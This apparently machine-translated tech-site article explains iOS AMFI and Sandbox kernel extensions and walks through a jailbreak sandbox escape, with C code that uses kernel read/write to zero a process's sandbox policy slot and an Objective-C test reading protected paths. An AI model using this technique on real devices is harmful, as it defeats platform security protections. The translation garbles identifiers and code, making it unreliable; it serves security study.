Shulou(Shulou.com)05/31 Report--

This article mainly explains "what is the kernel representation of Policy". The content of the explanation is simple and clear, and it is easy to learn and understand. Please follow the editor's train of thought to study and learn "what is the kernel representation of Policy".

The Sandbox

There are two important kernel extensions in iOS, AppleMobileFileIntegrity.kext and Sandbox.kext.

Apple Mobile File Integrity

According to The iPhone Wiki's definition of AMFI [1]:

AppleMobileFileIntegrity (.kext), which can go by its full name com.apple.driver.AppleMobileFileIntegrity, is an iOS kernel extension which serves as the corner stone of iOS's code entitlements model. It is one of the Sandbox's (com.apple.security.sandbox) dependencies, along with com.apple.kext.AppleMatch (which, like on OS X, is responsible for parsing the Sandbox language rules).

That is, AMFI.kext is the basic component that implements iOS Code Entitlements, and both it and AppleMatch.kext (used to parse Sandbox DSL) are dependencies on Sandbox.kext.

There may be people who are not familiar with Entitlements, which represents the permissions that App has. In forward development, if we enable Capability for App, the corresponding XML Units will be generated and inserted into App.entitlements, and some Capability can generate legal signatures only with specific certificates. Through this means, the authority of Userland App can be limited, thus ensuring the security of the system.

At run time, the kernel extension registers the Mac Policy and hook the specific Mach Calls [1]:

Affectionately known as AMFI, this kext can be found in the iOS 5.0 iPod 4 kernel around 0x805E499C (start) and 0x805E3EE8 (Initialization function). The latter function registers a MAC policy (using the kernel exported mac_policy_register), which is used to hook various system operations and enforce Apple's tight security policy.

According to the Wiki,AMFI meeting, hook the Mach Call that requires task_for_pid-allow permission [1]:

This kext recognizes the task_for_pid-allow entitlement (among others) and is responsible for hooking this Mach call, which retrieves the Mach task port associated with a BSD process identifier. Given this port, one can usurp control of the task/PID, reading and writing its memory, debugging, etc. It is therefore enabled only if the binary is digitally signed with a proper entitlement file, specifying task_for_pid-allow.

That is, AMFI.kext will recognize the task_for_pid-allow in entitlements and Hook the relevant Mach Call. The Mach Call will query the task port of a specific process through the BSD process identifier and return it to the caller, so that the caller can tamper with the process's task or PID, and even read, write and debug the target process's memory. AMFI.kext will check whether the caller's binary has a legitimate signature containing task_for_pid-allow before calling.

Sandbox Kext

The implementation of Sandbox is similar to AMFI.kext in that it ensures the legitimacy of access by Hook a series of Mach Call and checking a specific Policy. According to the description in Dionysus Blazakis's Paper: The Apple Sandbox [2]:

Once the sandbox is initialized, function calls hooked by the TrustedBSD layer will passthrough Sandbox.kext for policy enforcement. Depending on the system call, the extensionwill consult the list of rules for the current process. Some rules (such as the example givenabove denying access to files under the / opt/sekret path) will require pattern matchingsupport. Sandbox.kext imports functions from AppleMatch.kext to perform regular expression matching on the system call argument and the policy rule that is being checked.For example, does the file being read match the denied path / opt/sekret/.*? The othersmall part of the system is the Mach messages used to carry tracing information (such aswhich operations are being checked) back to userspace for logging.

The above reference mainly contains three key points:

When the Sandbox is initialized, the Mach Call Hook by the TrustedBSD layer will perform a permission check through the Sandbox.kext

Sandbox.kext parses the rule DSL through AppleMatch.kext and generates checklist

Check through checklist, such as whether the read file path is in the denied path list.

Kernel representation of Policy

In the proc structure of the process, there is a p_ucred member used to store the process's Identifier (Process owner's identity. (PUCL), which is equivalent to the Passport of the process:

Struct proc {LIST_ENTRY (proc) paired list; / * List of all processes. * / void * task; / * corresponding task (static) * / struct proc * proompptre; / * Pointer to parent process. (LL) * / pid_t pairppid; / /... / * substructures: * / kauth_cred_t pamphlet; / * Process owner's identity. (PUCL) * /

PUCL is a ucred object:

Struct ucred {TAILQ_ENTRY (ucred) cr_link; / * never modify this without KAUTH_CRED_HASH_LOCK * / u_long cr_ref; / * reference count * /.. Struct label * cr_label; / * MAC label * /

Where the cr_label member points to the data structure label that stores the MAC Policies:

Struct label {int lags; union {void * lumbptra; long lags long;} l _ perpolicy [Mac _ MAX_SLOTS];}

The l_perpolicy array records the list of MAC Policy, and the Policy of both AMFI and Sandbox is inserted into the l_perpolicy of the corresponding process.

According to the article in Quarkslab Blogs, Modern Jailbreaks' Post-Exploitation,AMFI and Sandbox are inserted into positions 0 and 1, respectively [3]:

Each l_perpolicy "slot" is used by a particular MACF module, the first one being AMFI and the second one the sandbox. LiberiOS calls ShaiHulud2ProcessAtAddr to put 0 in its second label l_perpolicy [1]. Being the label used by the sandbox (processed in the function sb_evaluate), this move will neutralize it while keeping the label used by AMFI (Apple Mobile File Integrity) l_perpolicy [0] untouched (it's more precise and prevent useful entitlement loss).

That is, each l_perpolicy slot is used for a specific MACF module, the first slot for AMFI and the second slot for Sandbox. LiberiOS achieves a more accurate and stable sandboxie escape by calling ShaiHulud2ProcessAtAddr to set the pointer of the second slot to 0 without modifying the first slot.

Escape Now

With tfp0 and the above theoretical basis, the path of sandboxie's escape becomes clear. We only need to modify the l_perpolicy [1] of the current process to 0 to escape sandboxie.

First, read the label of the current process, and the path is proc- > packers-> cr_label, and then set the Policy Slot with index 1 to 0:

# define KSTRUCT_OFFSET_PROC_UCRED 0xf8#define KSTRUCT_OFFSET_UCRED_CR_LABEL 0x78kptr_t swap_sandbox_for_proc (kptr_t proc, kptr_t sandbox) {kptr_t ret = KPTR_NULL; _ assert (KERN_POINTER_VALID (proc)); kptr_t const ucred = ReadKernel64 (proc + koffset (KSTRUCT_OFFSET_PROC_UCRED)); _ assert (KERN_POINTER_VALID (ucred)) Kptr_t const cr_label = ReadKernel64 (ucred + koffset (KSTRUCT_OFFSET_UCRED_CR_LABEL)); _ assert (KERN_POINTER_VALID (cr_label)); kptr_t const sandbox_addr = cr_label + 0x8 + 0x8; kptr_t const current_sandbox = ReadKernel64 (sandbox_addr); _ assert (WriteKernel64 (sandbox_addr, sandbox)); ret = current_sandbox;out:; return ret;}

Here is an illustration of the sandbox_addr calculation:

Kptr_t const sandbox_addr = cr_label + 0x8 + 0x8

Let's review the label structure again:

Struct label {int lags; union {void * lumbptra; long lags long;} l _ perpolicy [Mac _ MAX_SLOTS];}

Although l_flags itself has only 4 bytes, l_perpolicy occupies 8n bytes, and in order to align with the largest member, l_flags also occupies 8B, so cr_label + 8 points to l_perpolicy, and offset 8B points to Sandbox's Policy Slot.

Through the above operations, we can evade the sandboxie inspection of the process by Sandbox.kext and realize sandboxie's escape, and then we can read and write rootfs whether through C or OC's File API. In Undecimus Jailbreak, the kernelcache is read in this way and the Kernel Slide and key offsets are determined.

We can verify that sandboxie escaped successfully through a simple experiment. The following code reads the kernelcache and Applications directories:

NSArray * extractDir (NSString * dirpath) {NSError * error = nil; NSArray * contents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:dirpath error:&error]; if (error) {NSLog (@ "failed to get application list"); return nil;} return contents;} void sandbox_escape_test () {NSError * error = nil; BOOL success = [NSData dataWithContentsOfFile:@ "/ System/Library/Caches/com.apple.kernelcaches/kernelcache" options:NSDataReadingMappedAlways error:&error] If (! success) {NSLog (@ "error occurred!% @", error);} / / list applications dir error = nil; NSFileManager * mgr = [NSFileManager defaultManager]; NSString * applicationRoot = @ "/ var/containers/Bundle/Application/"; NSArray * uuids = [mgr contentsOfDirectoryAtPath:applicationRoot error:&error]; if (error) {NSLog (@ "failed to get application list"); return } for (NSString * uuid in uuids) {NSString * appPath = [applicationRoot stringByAppendingPathComponent:uuid]; NSArray * contents = extractDir (appPath); for (NSString * content in contents) {if ([content hasSuffix:@ ".app"]) {NSLog (@ "find% @ at% @!", content, appPath) Thank you for your reading. The above is the content of "what is the kernel representation of Policy". After the study of this article, I believe you have a deeper understanding of what the kernel representation of Policy is, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.